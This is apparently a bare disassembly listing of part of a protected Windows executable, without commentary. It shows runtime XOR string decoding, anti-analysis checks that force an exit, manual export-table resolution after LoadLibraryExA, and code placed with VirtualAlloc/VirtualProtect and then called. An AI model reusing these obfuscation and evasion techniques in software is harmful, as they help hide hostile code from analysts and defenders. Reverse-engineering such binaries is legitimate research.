mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
inc r8
add r9, r12
add r10, 0x10
cmp r9, r11
jb 0x140042404
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14003c148
mov rax, qword gs:[0x43]
cmp rax, r15
mov ebx, 0x5b964cd9
jne 0x140042523
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140042503
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140042503
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140042523
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
lea rdi, [rbp + 0x285d0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400426c4
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x3f8], xmm0
mov word [rbp + 0x408], 0x85
mov r10, r14
movabs rbx, 0x12a982442
movabs r8, 0x13d41a6873
lea r11d, [rax + 0x11]
movabs r9, 0x27a834d0e6
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3f8], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14004258e
mov byte [rbp + 0x409], r14b
movdqa xmm0, xmmword [0x1400f60c0]
movdqu xmmword [rbp + 0xb78], xmm0
movdqa xmm1, xmmword [0x1400f6230]
movdqu xmmword [rbp + 0xb88], xmm1
mov word [rbp + 0xb98], 0xaf4a
xor eax, eax
mov byte [rbp + 0xb9a], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xb78]
xor dil, r8b
mov byte [rbp + r8 + 0xb78], dil
inc r8
add r9, r12
add r10, 0x22
movabs rax, 0x4f5069a1cc
cmp r9, rax
jb 0x14004262a
mov byte [rbp + 0xb9a], r14b
xor r9d, r9d
lea r8, [rbp + 0x3f8]
lea rdx, [rbp + 0xb78]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400b1ef8
int3
mov edi, dword [r13 + 0x50]
mov r13, qword [rbp + 0xe58]
mov qword [rbp + 0xf50], r13
cmp qword [0x140103f90], r14
jne 0x140042700
mov ecx, 0x26b0
call fcn.1400b67bc
test rax, rax
je 0x140042700
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x140103f90], rax
mov qword [rbp + 0xe60], r14
mov qword [rbp + 0x1020], rdi
movdqa xmm0, xmmword [0x1400f6280]
movdqu xmmword [rbp + 0x7e8], xmm0
mov dword [rbp + 0x7f8], 0x15d46150
mov dword [rbp + 0x7fc], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7e8]
lea rcx, [rbp + 0x7e8]
call fcn.14004c700
xor al, dil
mov byte [rbp + rdi + 0x7e8], al
inc rdi
cmp rdi, 0x17
jb 0x14004273f
mov byte [rbp + 0x7ff], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x140103f90]
test rbx, rbx
mov r13, qword [rbp + 0xf50]
je 0x14004285b
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140042813
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.1400b67bc
mov rsi, rax
test rax, rax
je 0x140042858
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140103f90]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400d49b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
mov qword [0x140103f90], rsi
mov rbx, rsi
lea rax, [rbp + 0x7e8]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x70], 0x84015c7a
mov dword [rbp + 0x74], 0xe3e51d90
mov word [rbp + 0x78], 0x88
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x70]
lea rcx, [rbp + 0x70]
call fcn.14004c618
xor al, dil
mov byte [rbp + rdi + 0x70], al
inc rdi
cmp rdi, 9
jb 0x14004287c
mov byte [rbp + 0x79], r14b
mov rbx, qword [0x140103f90]
test rbx, rbx
je 0x140042986
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140042940
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b67bc
mov rsi, rax
test rax, rax
je 0x140042983
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140103f90]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400d49b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
mov qword [0x140103f90], rsi
mov rbx, rsi
lea rax, [rbp + 0x70]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
mov r12d, 3
test rax, rax
je 0x140042a19
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140042a19
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140042a19
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140042a19
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140042a19
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7e8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140042a0c
inc rax
test edi, edi
jne 0x1400429f7
test r8d, r8d
je 0x140042a90
inc rdx
cmp rdx, rsi
jb 0x1400429e6
mov esi, r14d
mov rdi, qword [0x140103f90]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
test r15, r15
jle 0x140042c64
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x140042c51
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140042c51
mov al, byte [rbp + 0xf70]
test al, al
jne 0x140042c16
xor edx, edx
call fcn.1400d5050
jmp 0x140042c4f
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140042a19
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
jns 0x140042ab4
xor r14d, r14d
jmp 0x140042a19
mov r9d, 4
mov r8d, 0x3000
mov r15d, 0x1000
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400aaf30
or dword [rbp + 0x9b34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x87b0]
call fcn.14004d1dc
lea rcx, [rbp + 0x87b0]
call fcn.14004c774
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x87b0]
call fcn.14004c774
mov eax, eax
mov qword [rbp + rdi*8 + 0x466e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140042b28
mov r8, r15
lea rdx, [rbp + 0x466e0]
mov rcx, rbx
call fcn.1400d49b0
mov dword [0x140101ea4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140101ea0]
movsd qword [rdi], xmm0
movzx eax, word [0x140101ea8]
mov word [rdi + 8], ax
mov al, byte [0x140101eaa]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfcc], r14d
lea r9, [rbp + 0xfcc]
lea r8d, [r14 + 0x20]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1020]
mov r8, r12
lea rdx, [rbp + 0xe60]
mov rcx, r13
call rdi
mov esi, eax
lea r9, [rbp + 0xfcc]
mov r8d, dword [rbp + 0xfcc]
mov rdx, r15
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140101ea4], r14d
jmp 0x140042a1c
cmp al, 1
jne 0x140042c51
mov rdx, rcx
lea rcx, [rbp + 0x1168]
call fcn.14004cf44
xor edx, edx
lea rcx, [rbp + 0x1168]
call fcn.14004d0f8
lea rcx, [rbp + 0x1168]
call fcn.14004d088
lea rcx, [rbp + 0x1168]
call fcn.1400026c8
xor edx, edx
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140042a45
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
xor r15d, r15d
mov qword [0x140103f90], r15
test esi, esi
js 0x14004b0dd
mov rax, qword [rbp + 0xe60]
mov qword [rbp - 0x28], rax
test rax, rax
je 0x14004b0dd
mov r13, qword [rbp + 0xe58]
mov ecx, 0x26b0
call fcn.1400b67bc
test rax, rax
je 0x140042cc7
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x140103f90], rax
mov qword [rbp + 0xe68], r15
mov qword [rbp + 0x1010], 0x1000
movdqa xmm0, xmmword [0x1400f6280]
movdqu xmmword [rbp + 0x800], xmm0
mov dword [rbp + 0x810], 0x15d46150
mov dword [rbp + 0x814], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x800]
lea rcx, [rbp + 0x800]
call fcn.14004c700
xor al, dil
mov byte [rbp + rdi + 0x800], al
inc rdi
cmp rdi, 0x17
jb 0x140042d0a
mov byte [rbp + 0x817], r15b
mov rbx, qword [0x140103f90]
test rbx, rbx
je 0x140042e31
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140042ddd
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b67bc
mov rsi, rax
test rax, rax
je 0x140042e24
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140103f90]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400d49b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
mov qword [0x140103f90], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x800]
mov qword [rbp + 0xf60], rax
mov qword [rbp + 0xf68], Ordinal_32
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140042e27
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x60], 0x84015c7a
mov dword [rbp + 0x64], 0xe3e51d90
mov word [rbp + 0x68], 0x88
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x60]
lea rcx, [rbp + 0x60]
call fcn.14004c618
xor al, dil
mov byte [rbp + rdi + 0x60], al
inc rdi
cmp rdi, 9
jb 0x140042e48
mov byte [rbp + 0x69], r15b
mov rbx, qword [0x140103f90]
test rbx, rbx
je 0x140042f57
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140042f0f
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.1400b67bc
mov rsi, rax
test rax, rax
je 0x140042f54
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x140103f90]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400d49b0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
mov qword [0x140103f90], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x60]
mov qword [rbp + 0xf60], rax
mov eax, 0xa
mov qword [rbp + 0xf68], rax
mov byte [rbp + 0xf70], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf60]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf70]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140042f57
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140042fe8
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140042fe8
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140042fe8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140042fe8
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140042fe8
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x800]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140042fd7
inc rax
test edi, edi
jne 0x140042fc2
test r8d, r8d
je 0x140043066
inc rdx
cmp rdx, rsi
jb 0x140042fb1
mov esi, r15d
mov rdi, qword [0x140103f90]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov r14d, r13d
test r15, r15
jle 0x140043236
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf70], xmm0
movq rax, xmm1
test rax, rax
je 0x140043223
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x140043223
mov cl, byte [rbp + 0xf70]
test cl, cl
jne 0x1400431e9
xor edx, edx
mov rcx, rax
call fcn.1400d5050
jmp 0x140043223
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140042fe8
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x140042fe8
cmp cl, 1
jne 0x140043223
mov rdx, rax
lea rcx, [rbp + 0x1148]
call fcn.14004cf44
xor edx, edx
lea rcx, [rbp + 0x1148]
call fcn.14004d0f8
lea rcx, [rbp + 0x1148]
call fcn.14004d088
lea rcx, [rbp + 0x1148]
call fcn.1400026c8
inc r14d
add rbx, 0x18
movsxd rax, r14d
cmp rax, r15
jl 0x140043018
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400d5050
mov rcx, rdi
call fcn.1400b6698
mov qword [0x140103f90], r13
test esi, esi
js 0x14004af4c
mov r12, qword [rbp + 0xe68]
mov qword [rbp - 0x50], r12
test r12, r12
je 0x14004af4c
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1228], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1230], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1238], rax
mov rsi, qword [rbp - 0x28]
mov qword [rbp + 0x1240], rsi
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1248], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf50], r15
mov qword [rbp + 0xf58], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf58], cl
add rdi, r14
cmp r8d, 8
jb 0x1400432e6
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1228]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf58]
mov r9b, dil
xor r9b, 0x28
mov ebx, edi
mov ecx, r13d
lea r10, [rbp + 0xf58]
movzx edi, dil
movzx eax, byte [r10]
add rdi, rax
xor rdi, qword [rbp + 0xf58]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r10, r14
cmp ecx, 8
jb 0x14004335f
movzx ecx, r9b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x140043341
mov qword [rbp + 0xf58], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf50], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf58]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf50], cl
add rdi, r14
cmp r8d, 8
jb 0x1400433fb
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285d0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf50]
mov r9b, dil
xor r9b, 5
mov ebx, edi
mov ecx, esi
lea r10, [rbp + 0xf50]
movzx edi, dil
movzx eax, byte [r10]
add rdi, rax
xor rdi, qword [rbp + 0xf50]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r10, r14
cmp ecx, 8
jb 0x140043473
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x3b0], xmm0
mov word [rbp + 0x3c0], 0x85
mov r10, r13
movabs rbx, 0x12a982443
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
movabs r14, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3b0], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14004afa0
mov byte [rbp + 0x3c1], r13b
movdqa xmm0, xmmword [0x1400f61e0]
movdqu xmmword [rbp + 0x958], xmm0
mov dword [rbp + 0x968], 0x953c2eb7
mov dword [rbp + 0x96c], 0xc8e4937
mov dword [rbp + 0x970], 0xb096669
xor eax, eax
mov byte [rbp + 0x974], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x20a8a3f754
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x958], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x415147eea8
cmp r9, rax
jb 0x14004b04b
mov byte [rbp + 0x974], r13b
xor r9d, r9d
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x958]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x308], xmm0
mov word [rbp + 0x318], 0x85
mov r10, r15
movabs rbx, 0x12a982443
movabs rsi, 0x8080808080808081
movabs r8, 0x13d41a6873
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x27a834d0e6
movabs r14, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x308], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14004b131
mov byte [rbp + 0x319], r15b
movdqa xmm0, xmmword [0x1400f6160]
movdqu xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x750], 0x45e84b40
mov word [rbp + 0x754], reloc.WLDAP32.dll_Ordinal_35
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x187e7af97f
movabs r10, 0x30fcf5f2fe
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x740], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14004b1d5
mov byte [rbp + 0x755], r15b
xor r9d, r9d
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400b1ef8
int3
cmp rax, r15
jne 0x14004b313
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b2f3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b2f3
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004b313
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x350], xmm0
mov word [rbp + 0x360], 0x85
mov r10, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x12a982442
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x350], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14004b35d
mov byte [rbp + 0x361], r14b
movdqa xmm0, xmmword [0x1400f6060]
movdqu xmmword [rbp + 0x818], xmm0
mov dword [rbp + 0x828], 0x82ba6619
mov dword [rbp + 0x82c], 0xe0f6d4
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x1ad3ab4205
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x818], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x35a756840a
cmp r9, rax
jb 0x14004b3f8
mov byte [rbp + 0x82f], r14b
xor r9d, r9d
lea r8, [rbp + 0x350]
lea rdx, [rbp + 0x818]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004b52e
mov rax, qword gs:[0x5f]
mov ebx, 0x5b964cd9
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004b50e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004b50e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004b52e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
movabs rcx, 0xe4d4ec93abfbca11
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
